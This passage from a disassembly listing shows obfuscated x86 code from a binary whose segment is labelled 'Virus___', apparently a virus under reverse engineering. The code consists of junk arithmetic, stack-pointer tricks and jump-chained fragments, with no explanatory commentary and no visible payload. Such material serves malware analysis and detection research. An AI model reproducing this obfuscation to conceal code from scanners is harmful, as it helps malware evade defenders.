; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54462C	proc near		; CODE XREF: sub_545A2B+3A03j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		sub	esp, 4
		push	esp
		jmp	loc_548312
sub_54462C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54463B:				; CODE XREF: sub_545A2B+692Dj
		mov	[esp-1Ah+arg_16], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 786909B3h
		and	ebx, 38EA42BCh
		sub	ebx, 386800ACh
		sub	edx, 4BDB7D58h
		add	edx, ebx
		add	edx, 4BDB7D58h
		pop	ebx
		add	edx, 4
		xchg	edx, [esp-1Ah+arg_16]
		pop	esp
		add	edx, edi
		mov	[edx], al
		push	[esp-1Eh+arg_1A]
		mov	edx, [esp-1Ah+arg_16]
		add	esp, 4
		add	esp, 4
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544683:				; CODE XREF: Virus___:00543939j
		push	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 11CD39E9h
		mov	esi, 33302E53h
		jmp	loc_54A753
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5446A6:				; CODE XREF: sub_545A2B+5711j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5446AB:				; CODE XREF: sub_545A2B+638Ej
		add	esp, 4
		sub	edx, 44A96F22h
		sub	edx, 2324207h
		jmp	loc_5457C6
; ---------------------------------------------------------------------------


loc_5446BF:				; CODE XREF: sub_545A2B+1C69j
		add	esp, 4
		xor	esi, 254FD5C2h
		jmp	loc_5470E7
; ---------------------------------------------------------------------------


loc_5446D0:				; CODE XREF: sub_545A2B+7894j
		pop	eax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5446D6:				; CODE XREF: sub_545A2B+682Fj
		push	esi
		mov	esi, ebx
		mov	ebp, esi
		jmp	loc_54B8E1
; ---------------------------------------------------------------------------


loc_5446E0:				; CODE XREF: sub_545A2B+48E7j
		pop	ebp
		jmp	loc_54B6F3
; ---------------------------------------------------------------------------


loc_5446E6:				; CODE XREF: sub_545A2B+6C6Bj
		add	ebx, edx
		mov	edx, [esp-2Eh+arg_2A]
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		jmp	loc_54DCAF
; ---------------------------------------------------------------------------


loc_5446F9:				; CODE XREF: sub_545A2B+52D4j
		pop	eax
		jmp	loc_54DC7F
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_54A466
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544705:				; CODE XREF: sub_545A2B+7B9j
		add	ch, 1
		jmp	loc_5443B3
; ---------------------------------------------------------------------------


loc_54470D:				; CODE XREF: sub_545A2B+93E8j
		and	dl, bh
		pop	ebx
		xor	dl, 5Ah
		jmp	loc_5491D0
; ---------------------------------------------------------------------------


loc_544718:				; CODE XREF: sub_545A2B-D34j
		mov	ah, 8Fh
		jmp	loc_545F00
; ---------------------------------------------------------------------------


loc_54471F:				; CODE XREF: sub_545A2B-1256j
		push	ecx
		mov	cl, 15h
		and	cl, 3Eh
		push	eax
		mov	al, 0D9h
		shl	al, 4
		sub	al, 4Dh
		jmp	loc_54A276
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54CF49


loc_544732:				; CODE XREF: sub_54CF49-8365j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		add	esi, 4
		add	esi, 2
		jmp	loc_54C085
; END OF FUNCTION CHUNK	FOR sub_54CF49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544754:				; CODE XREF: sub_545A2B+16Bj
		shl	edi, 4
		shl	edi, 8
		shl	edi, 5
		and	edi, 0FF51DC2h
		add	edi, 0F59C0004h
		sub	ebp, edi
		pop	edi
		push	ebp
		jmp	loc_547876
; ---------------------------------------------------------------------------


loc_544772:				; CODE XREF: sub_545A2B+726Cj
		add	esp, 4
		add	eax, 47F03F09h
		add	eax, 0C066482h
		add	eax, edi
		sub	eax, 0C066482h
		jmp	loc_548D89
; ---------------------------------------------------------------------------


loc_54478B:				; CODE XREF: sub_545A2B+1C97j
		add	esp, 4
		jmp	loc_549902
; ---------------------------------------------------------------------------


loc_544796:				; CODE XREF: sub_545A2B+85E1j
		add	bl, ch
		jmp	loc_544DEF
; ---------------------------------------------------------------------------


loc_54479D:				; CODE XREF: sub_545A2B+8B31j
		add	edx, edi
		mov	edi, [esp-3Eh+arg_3A]
		add	esp, 4
		xor	edx, [esp-42h+arg_3E]
		jmp	loc_5491FD
; ---------------------------------------------------------------------------


loc_5447B0:				; CODE XREF: sub_545A2B+8FE6j
		shr	ebp, 6
		dec	ebp
		sub	ebp, 12544F7h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp-46h+arg_42]
		mov	esp, [esp-46h+arg_42]
		shr	byte ptr [esp-46h+arg_42], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5447CC:				; CODE XREF: sub_545A2B+7ED4j
		mov	[esp-42h+arg_3E], ecx
		sub	esp, 4
		mov	[esp-3Eh+arg_3A], edx
		jmp	loc_54471F
; ---------------------------------------------------------------------------


loc_5447DA:				; CODE XREF: sub_545A2B+404Aj
		mov	[esp-3Eh+arg_3A], ebx
		mov	ebx, 19375B05h
		add	ebx, 1
		sub	esp, 4
		mov	[esp-3Ah+arg_36], ebx
		not	[esp-3Ah+arg_36]
		jmp	loc_54EB5F
; ---------------------------------------------------------------------------


loc_5447F6:				; CODE XREF: sub_545A2B+15B3j
		push	3A36h
		mov	[esp-36h+arg_32], edx
		jmp	loc_547DFC
; ---------------------------------------------------------------------------


loc_544803:				; CODE XREF: sub_545A2B+E31j
		pop	edx
		jmp	loc_548102
; ---------------------------------------------------------------------------


loc_544809:				; CODE XREF: sub_545A2B+21D8j
		push	eax
		mov	eax, 7B6D4D24h
		jmp	loc_54CD67
; ---------------------------------------------------------------------------


loc_544814:				; CODE XREF: sub_545A2B-2A31j
		push	28h
		push	[esp+0Eh+var_10+2]
		pop	edx
		jmp	loc_54C352
; ---------------------------------------------------------------------------


loc_544822:				; CODE XREF: sub_545A2B-302j
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp+0Ah+var_C+2]
		pop	esp
		shr	[esp+6+var_8+2], cl
		pushf
		jmp	loc_54C4C5
; ---------------------------------------------------------------------------


loc_544838:				; CODE XREF: sub_545A2B+338Fj
		mov	ah, 0E1h
		push	ebx
		mov	bl, ah
		inc	bl
		mov	ah, bl
		pop	ebx
		inc	ah
		jmp	loc_549811
; ---------------------------------------------------------------------------


loc_544849:				; CODE XREF: sub_545A2B-25B4j
		pop	edx
		xchg	ebp, [esp-30h+arg_2A+2]
		pop	esp
		sub	esp, 4
		jmp	loc_54E5FC
; ---------------------------------------------------------------------------


loc_544856:				; CODE XREF: sub_545A2B-2A1j
		pop	edx
		mov	ecx, ebp
		pop	ebp
		jmp	loc_544391
; ---------------------------------------------------------------------------


loc_54485F:				; CODE XREF: sub_545A2B+ACBj
		pop	ebp
		jmp	loc_5481F4
; ---------------------------------------------------------------------------


loc_544865:				; CODE XREF: sub_545A2B+59E7j
		mov	ah, 9Fh
		jmp	loc_546861
; ---------------------------------------------------------------------------


loc_54486C:				; CODE XREF: sub_545A2B+35BBj
		movzx	eax, al
		jmp	loc_54A6F9
; ---------------------------------------------------------------------------


loc_544874:				; CODE XREF: sub_545A2B+5D66j
		mov	[esp-3Ch+arg_36+2], ecx
		mov	ecx, 4A145CF2h
		jmp	loc_54354F
; ---------------------------------------------------------------------------


loc_544881:				; CODE XREF: sub_545A2B+2826j
		sub	ecx, ebx
		pop	ebx
		add	ebp, ecx
		mov	ecx, [esp-40h+arg_3A+2]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp-40h+arg_3A+2]
		add	esp, 4
		xchg	ebp, [esp-44h+arg_3E+2]
		pop	esp
		shl	[esp-48h+arg_42+2], cl
		jmp	loc_54B014
; ---------------------------------------------------------------------------


loc_5448AC:				; CODE XREF: sub_545A2B+447Cj
		add	edi, edx
		pop	edx
		xchg	edi, [esp-4Ch+arg_46+2]
		pop	esp
		push	3536h
		jmp	loc_54BAC3
; ---------------------------------------------------------------------------


loc_5448BD:				; CODE XREF: sub_545A2B+6221j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-4Ch+arg_46+2]
		jmp	loc_54909E
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E630


loc_5448CE:				; CODE XREF: sub_54E630+7j
		add	esi, 4
		sub	esi, 4
		jmp	loc_547AC1
; END OF FUNCTION CHUNK	FOR sub_54E630
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5448DF:				; CODE XREF: sub_545A2B+29EBj
		add	dh, 90h
		add	al, dh
		mov	edx, [esp-4Ch+arg_46+2]
		add	esp, 4
		jmp	loc_54DB0F
; ---------------------------------------------------------------------------


loc_5448EF:				; CODE XREF: sub_545A2B+28Ej
		add	al, bh
		mov	bx, word ptr [esp-50h+arg_4C]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 2
		xchg	ebp, [esp-4Ch+arg_46+2]
		mov	esp, [esp-4Ch+arg_46+2]
		push	small 27DFh
		mov	word ptr [esp-4Ah+arg_46], cx
		mov	ch, 0Bh
		sub	bl, ch
		pop	cx
		sub	bl, 6Bh
		jmp	loc_54B350
; ---------------------------------------------------------------------------


loc_544920:				; CODE XREF: sub_545A2B+24B2j
		add	ebp, 4
		xchg	ebp, [esp-4Ch+arg_46+2]
		pop	esp
		sub	ebx, 2DB65695h
		jmp	loc_54D3A3
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544935:				; CODE XREF: Virus___:0054D5F0j
		pop	ebx
		push	2571h
		mov	[esp], edx
		mov	edx, 20E20700h
		and	edx, 17AF46BDh
		inc	edx
		neg	edx
		sub	edx, 30BE2412h
		jmp	loc_54ABB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544957:				; CODE XREF: sub_545A2B+2937j
		mov	ecx, [esp-50h+arg_4C]
		add	esp, 4
		mov	edi, [esp-54h+arg_50]
		add	esp, 4
		or	[edi+1Ch], eax
		mov	eax, [esp-58h+arg_54]
		add	esp, 4


loc_54496F:				; CODE XREF: sub_545A2B+6203j
		push	485Ah
		jmp	loc_54E5F4
; ---------------------------------------------------------------------------


loc_544979:				; CODE XREF: sub_545A2B+784Bj
		xor	dh, 0Ch
		shl	dh, 8
		add	dh, 52h
		add	dh, 1
		add	dh, 6Fh
		xor	al, dh
		mov	edx, [esp-58h+arg_54]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-54h+arg_50]
		jmp	loc_547246
; ---------------------------------------------------------------------------


loc_5449A1:				; CODE XREF: sub_545A2B+1266j
		mov	ecx, 2570C6B9h
		add	ecx, ebp
		pop	ebp
		shl	ecx, 7
		push	ebx
		jmp	loc_54E583
; ---------------------------------------------------------------------------


loc_5449B2:				; CODE XREF: sub_545A2B+91ADj
		and	ebx, 336C3F42h
		shl	ebx, 8
		shr	ebx, 3
		sub	ebx, 849499DDh
		jmp	loc_54AE68
; ---------------------------------------------------------------------------


loc_5449C9:				; CODE XREF: sub_545A2B-F44j
		push	edi
		jmp	loc_547A6E
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_5449CF:				; DATA XREF: Virus___:00542E14o
		mov	cx, [esp]
		push	0F77h
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_548D5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5449E2:				; CODE XREF: sub_545A2B+469Bj
		dec	ebx
		xor	ebx, 8A31D23Fh
		mov	edi, ebx
		pop	ebx
		xor	edi, 7D64496h
		not	edi
		not	edi
		xor	edi, 3E47BDEh
		shl	edi, 1
		sub	edi, 0BB7E033Ah
		jmp	loc_54C35D
; ---------------------------------------------------------------------------


loc_544A09:				; CODE XREF: sub_545A2B+947j
		sub	ebp, 64F78CFh
		pop	esi
		mov	edx, ebp
		jmp	loc_547079
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544A17:				; CODE XREF: Virus___:0054C872j
		mov	ebp, esp
		push	eax
		mov	eax, 23B1835h
		neg	eax
		add	eax, 0F2C3825h
		jmp	loc_54B738
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544A2B:				; CODE XREF: sub_545A2B-202j
		add	edi, 2
		xchg	edi, [esp-58h+arg_54]
		mov	esp, [esp-58h+arg_54]
		sub	bl, al
		jmp	loc_549F24
; ---------------------------------------------------------------------------


loc_544A3B:				; CODE XREF: sub_545A2B+31Fj
		mov	al, dh
		mov	dx, word ptr [esp-58h+arg_54]
		jmp	loc_54A212
; ---------------------------------------------------------------------------


loc_544A46:				; CODE XREF: sub_545A2B+4152j
		xor	esi, [esp-58h+arg_54]
		mov	esp, [esp-58h+arg_54]
		jmp	sub_54C9E5
; ---------------------------------------------------------------------------


loc_544A51:				; CODE XREF: sub_545A2B+1833j
		pop	ecx
		jmp	loc_546BDE
; ---------------------------------------------------------------------------


loc_544A57:				; CODE XREF: sub_545A2B+4793j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-5Ch+arg_58]
		pop	esp
		push	24CCh
		jmp	loc_54E3D3
; ---------------------------------------------------------------------------


loc_544A6E:				; CODE XREF: sub_545A2B+41B1j
		inc	ebp
		push	eax
		jmp	loc_54999A
; ---------------------------------------------------------------------------


loc_544A75:				; CODE XREF: sub_545A2B+68A8j
		mov	edx, [esp-58h+arg_54]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 41B44EAh
		or	ebp, 3A6A6ADFh
		inc	ebp
		neg	ebp
		xor	ebp, 0C1849104h
		jmp	loc_54C923
; ---------------------------------------------------------------------------


loc_544A9B:				; CODE XREF: sub_545A2B-803j
		mov	ebp, ebx
		pop	ebx
		push	edi
		push	72FF61AAh
		pop	edi
		xor	edi, 27417338h
		mov	edx, edi
		jmp	loc_5439CB
; ---------------------------------------------------------------------------


loc_544AB2:				; CODE XREF: sub_545A2B+66E6j
		mov	edi, 6FF451ABh
		jmp	loc_547980
; ---------------------------------------------------------------------------


loc_544ABC:				; CODE XREF: sub_545A2B+8B7Fj
		push	edx
		mov	edx, 40666F9Dh
		jmp	loc_547A47
; ---------------------------------------------------------------------------


loc_544AC7:				; CODE XREF: sub_545A2B+1402j
		mov	[esp-4Ch+arg_46+2], ecx
		push	ebp
		push	edx
		mov	edx, 4C144D40h
		mov	ebp, 88D35B50h
		sub	ebp, edx
		pop	edx
		jmp	loc_545F6B
; ---------------------------------------------------------------------------


loc_544ADE:				; CODE XREF: sub_545A2B+34F5j
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5449C9
; ---------------------------------------------------------------------------


loc_544AEC:				; CODE XREF: sub_545A2B+4578j
		xor	esi, [esp-48h+arg_42+2]
		jmp	loc_54809F
; ---------------------------------------------------------------------------


loc_544AF4:				; CODE XREF: sub_545A2B-25ABj
		xchg	ecx, edi
		push	ebx
		jmp	loc_548000
; ---------------------------------------------------------------------------


loc_544AFC:				; CODE XREF: sub_545A2B+54B2j
		add	ebx, 3257346Fh
		pop	ecx
		push	eax
		jmp	loc_54DF64
; ---------------------------------------------------------------------------


loc_544B09:				; CODE XREF: sub_545A2B+8E90j
		pop	edx
		add	ebp, ebx
		jmp	loc_54ADDE
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_544B11	proc near		; CODE XREF: sub_545A2B+4A29j
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 729D6B8Ch
		shl	esi, 7
		jmp	loc_54A690
sub_544B11	endp

; ---------------------------------------------------------------------------


loc_544B22:				; CODE XREF: Virus___:0054DF88j
		mov	eax, 0A1039AC0h
		sub	eax, esi
		pop	esi
		jmp	loc_5467DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544B2F:				; CODE XREF: sub_545A2B-1620j
		mov	cx, word ptr [esp-1Ah+arg_16]
		add	esp, 2
		not	ah
		xchg	ah, dl
		push	ax
		mov	al, 92h
		add	dl, al
		jmp	loc_54A938
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_54BA56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544B4E:				; CODE XREF: sub_545A2B+4B66j
		mov	[esp-1Ch+arg_16+2], ecx
		push	75C3h
		mov	[esp-18h+arg_12+2], ebp
		jmp	loc_545C8D
; ---------------------------------------------------------------------------


loc_544B5E:				; CODE XREF: sub_545A2B+38E0j
		push	edi
		jmp	loc_5457EE
; ---------------------------------------------------------------------------


loc_544B64:				; CODE XREF: sub_545A2B+81BBj
		push	[esp-14h+arg_E+2]
		push	[esp-10h+arg_A+2]
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp-10h+arg_A+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_544CFC
; ---------------------------------------------------------------------------


loc_544B8D:				; CODE XREF: sub_545A2B+3BCCj
		pop	eax
		push	ax
		mov	al, 0FFh
		sub	ch, al
		pop	ax
		push	eax
		mov	al, 0A4h
		xor	ch, al
		mov	eax, [esp-10h+arg_A+2]
		add	esp, 4
		sub	al, ch
		mov	ecx, [esp-14h+arg_E+2]
		push	esi
		jmp	loc_54B2D4
; ---------------------------------------------------------------------------


loc_544BAC:				; CODE XREF: sub_545A2B+4F8Cj
		xor	ah, 0C1h
		jmp	loc_5477C2
; ---------------------------------------------------------------------------


loc_544BB4:				; CODE XREF: sub_545A2B+97E4j
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544BB9:				; DATA XREF: Virus___:00542CE8o
		push	dword ptr [edi+3Ch]
		add	dword ptr [esp], 5CC06F86h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_549212
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544BCC:				; CODE XREF: sub_545A2B+3AECj
		not	bh
		jmp	loc_54A5F7
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54CF49


loc_544BD3:				; CODE XREF: sub_54CF49+19j
		add	[esp+0Ch+var_8], ecx
		pop	ecx
		push	[esp+8+var_8]
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_544732
; END OF FUNCTION CHUNK	FOR sub_54CF49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544BE9:				; CODE XREF: sub_545A2B+3FE0j
		add	esp, 4
		jmp	loc_547D08
; ---------------------------------------------------------------------------


loc_544BF4:				; CODE XREF: sub_545A2B+7C8Dj
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_546C0D
; ---------------------------------------------------------------------------


loc_544C06:				; CODE XREF: sub_545A2B+2058j
		not	bl
		jmp	loc_548515
; ---------------------------------------------------------------------------


loc_544C0D:				; CODE XREF: sub_545A2B+8469j
		add	ebx, 5E7A0D44h
		pop	esi
		sub	edi, ebx
		mov	ebx, [esp-18h+arg_12+2]
		jmp	loc_54B146
; ---------------------------------------------------------------------------


loc_544C1E:				; CODE XREF: sub_545A2B+4F6Ej
		mov	[esp-18h+arg_12+2], eax
		jmp	loc_54651D
; ---------------------------------------------------------------------------


loc_544C26:				; CODE XREF: sub_545A2B+177Bj
		and	eax, 77C42D2Eh
		sub	esp, 4
		mov	[esp-14h+arg_E+2], edi
		mov	edi, 63842C02h
		xor	eax, edi
		mov	edi, [esp-14h+arg_E+2]
		add	esp, 4
		add	edi, eax
		jmp	loc_54608E
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_544C48	proc near		; CODE XREF: sub_545A2B+4DD2j

; FUNCTION CHUNK AT 0054393E SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		sub	al, dl
		pop	edx
		push	small 63DCh
		jmp	loc_54393E
sub_544C48	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544C64:				; CODE XREF: sub_545A2B-EEj
		and	ebp, 4131144Fh
		jmp	loc_54C773
; ---------------------------------------------------------------------------


loc_544C6F:				; CODE XREF: sub_545A2B+8408j
		mov	[esp-18h+arg_12+2], ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_54E609
; ---------------------------------------------------------------------------


loc_544C7E:				; CODE XREF: sub_545A2B+BCBj
		mov	ebp, 4
		mov	eax, ebp
		jmp	loc_5484B9
; ---------------------------------------------------------------------------


loc_544C8A:				; CODE XREF: sub_545A2B+8CB5j
		mov	cl, 7Fh
		push	edx
		mov	dh, 31h
		sub	al, dh
		pop	edx
		sub	al, cl
		add	al, 31h
		pop	ecx
		jmp	loc_5432BA
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54EB9E


loc_544C9C:				; CODE XREF: sub_54EB9E-2055j
		add	[esp+4+var_4], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		push	ebp
		push	2F8E38B0h
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		push	ebx
		mov	ebx, 23372605h
		neg	ebx
		push	edx
		jmp	loc_5453D3
; END OF FUNCTION CHUNK	FOR sub_54EB9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544CD0:				; CODE XREF: sub_545A2B+4A1Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_54E756
; ---------------------------------------------------------------------------


loc_544CDF:				; CODE XREF: sub_545A2B+5D52j
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp-18h+arg_12+2]
		mov	esp, [esp-18h+arg_12+2]
		jmp	loc_54AA17
; ---------------------------------------------------------------------------


loc_544CED:				; CODE XREF: sub_545A2B+3915j
		mov	eax, [esp-18h+arg_12+2]
		jmp	loc_54A571
; ---------------------------------------------------------------------------


loc_544CF5:				; CODE XREF: sub_545A2B+12E7j
		push	ax
		jmp	loc_544718
; ---------------------------------------------------------------------------


loc_544CFC:				; CODE XREF: sub_545A2B-EA3j
		push	71A0h
		mov	[esp+0], eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_54F24D
; ---------------------------------------------------------------------------


loc_544D11:				; CODE XREF: sub_545A2B+6AEBj
		pop	esp
		add	ebx, 310D70C6h
		add	ebx, 6EF02362h
		sub	ebx, 55D47F74h
		sub	ebx, eax
		push	esi
		mov	esi, 55D47F74h
		add	ebx, esi
		pop	esi
		push	edx
		mov	edx, 6EF02362h
		jmp	loc_54CDFA
; ---------------------------------------------------------------------------


loc_544D3A:				; CODE XREF: sub_545A2B-22D6j
		xor	ecx, edx
		pop	edx
		shl	ecx, 8
		jmp	loc_545942
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544D45:				; CODE XREF: Virus___:005433DCj
		mov	edx, 5E1E14A3h
		xor	edx, 66452F7Ch
		or	edx, 56F749AEh
		xor	edx, 7EFF7BFBh
		add	ebx, edx
		pop	edx
		push	eax
		mov	eax, 4
		add	ebx, 219B504Ah
		add	ebx, 112F1D37h
		add	ebx, eax
		push	ebp
		jmp	loc_54B898
; ---------------------------------------------------------------------------


loc_544D79:				; CODE XREF: Virus___:00544438j
		pop	esi
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 2
		jmp	loc_54850B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544D90:				; CODE XREF: sub_545A2B+8454j
		add	edx, 3B9E631Eh
		add	edx, edi
		push	edi
		push	3B9E631Eh
		pop	edi
		sub	edx, edi
		push	[esp-12h+arg_E]
		jmp	loc_5490BC
; ---------------------------------------------------------------------------


loc_544DA9:				; CODE XREF: sub_545A2B+5391j
		pop	ecx
		jmp	loc_54AAAB
; ---------------------------------------------------------------------------


loc_544DAF:				; CODE XREF: sub_545A2B+4807j
		xchg	esi, [esp-12h+arg_E]
		jmp	loc_54CCD0
; ---------------------------------------------------------------------------


loc_544DB7:				; CODE XREF: sub_545A2B-457j
		mov	ebx, 4A3C2B48h
		xor	ebx, 0FFF9FB3Ah
		jmp	loc_54C0AC
; ---------------------------------------------------------------------------


loc_544DC7:				; CODE XREF: sub_545A2B+6872j
		mov	eax, esp
		push	edi
		mov	edi, 7B5022FBh
		sub	edi, 6BBA5238h
		or	edi, 754B215Dh
		push	ebx
		jmp	loc_54D517
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D650


loc_544DE1:				; CODE XREF: sub_54D650+11j
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_543910
; END OF FUNCTION CHUNK	FOR sub_54D650
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544DEF:				; CODE XREF: sub_545A2B-1293j
		push	[esp-3Eh+arg_3A]
		pop	ecx
		add	esp, 4
		jmp	loc_54765B
; ---------------------------------------------------------------------------


loc_544DFE:				; CODE XREF: sub_545A2B+926Aj
		mov	[esp-42h+arg_3E], esp
		add	[esp-42h+arg_3E], 4
		push	[esp-42h+arg_3E]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_54E970
; ---------------------------------------------------------------------------


loc_544E1D:				; CODE XREF: sub_545A2B-2345j
		add	ebx, 404F93BFh
		sub	eax, 2433302Ch
		sub	eax, ebx
		sub	esp, 4
		jmp	loc_548FDD
; ---------------------------------------------------------------------------


loc_544E35:				; CODE XREF: sub_545A2B+2656j
		shr	ch, 3
		jmp	loc_5461DD
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54E287


loc_544E3D:				; CODE XREF: sub_54E287+13j
		pop	ecx
		jmp	loc_54DDC3
; END OF FUNCTION CHUNK	FOR sub_54E287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544E43:				; CODE XREF: sub_545A2B+4DDCj
		pop	esi
		pop	[esp-12h+arg_E]
		jmp	loc_54B6D6
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_544E4C	proc near		; CODE XREF: sub_545A2B+64B0j

var_8		= dword	ptr -8

		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	al, 2Ch
		jmp	loc_54A8E1
sub_544E4C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544E5A:				; CODE XREF: sub_545A2B+965Ej
		add	esp, 4
		mov	ebp, [esp-1Ah+arg_16]
		push	ebp
		mov	ebp, esp
		jmp	loc_547ED7
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544E68:				; CODE XREF: Virus___:0054EFBDj
		push	edi
		push	eax
		mov	eax, esp
		push	42FEh
		mov	[esp], edx
		mov	edx, 566F0BC4h
		inc	edx
		or	edx, 39F7046Dh
		sub	edx, 7FFF0FE9h
		jmp	loc_54920B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544E8B:				; CODE XREF: sub_545A2B+510Cj
		add	edi, 2
		xor	edi, [esp-16h+arg_12]
		xor	[esp-16h+arg_12], edi
		xor	edi, [esp-16h+arg_12]
		pop	esp
		inc	byte ptr [esp-1Ah+arg_16]
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_544EA1:				; CODE XREF: sub_545A2B+6434j
		mov	ebp, 11A05843h
		and	edx, ebp
		pop	ebp
		and	edx, 1F8F67EBh
		push	eax
		jmp	loc_5443A1
; ---------------------------------------------------------------------------


loc_544EB5:				; CODE XREF: sub_545A2B+805Cj
		mov	ecx, 2
		sub	esi, 34C60437h
		add	esi, ecx
		sub	esp, 4
		mov	[esp-12h+arg_E], ebp
		mov	ebp, 34C60437h
		add	esi, ebp
		pop	ebp
		mov	ecx, [esp-16h+arg_12]
		add	esp, 4
		xchg	esi, [esp-1Ah+arg_16]
		pop	esp
		mov	ax, word ptr [esp-1Eh+arg_1A]
		push	ecx
		push	esp
		pop	ecx
		push	esi
		jmp	loc_54384D
; ---------------------------------------------------------------------------


loc_544EE7:				; CODE XREF: sub_545A2B+540Cj
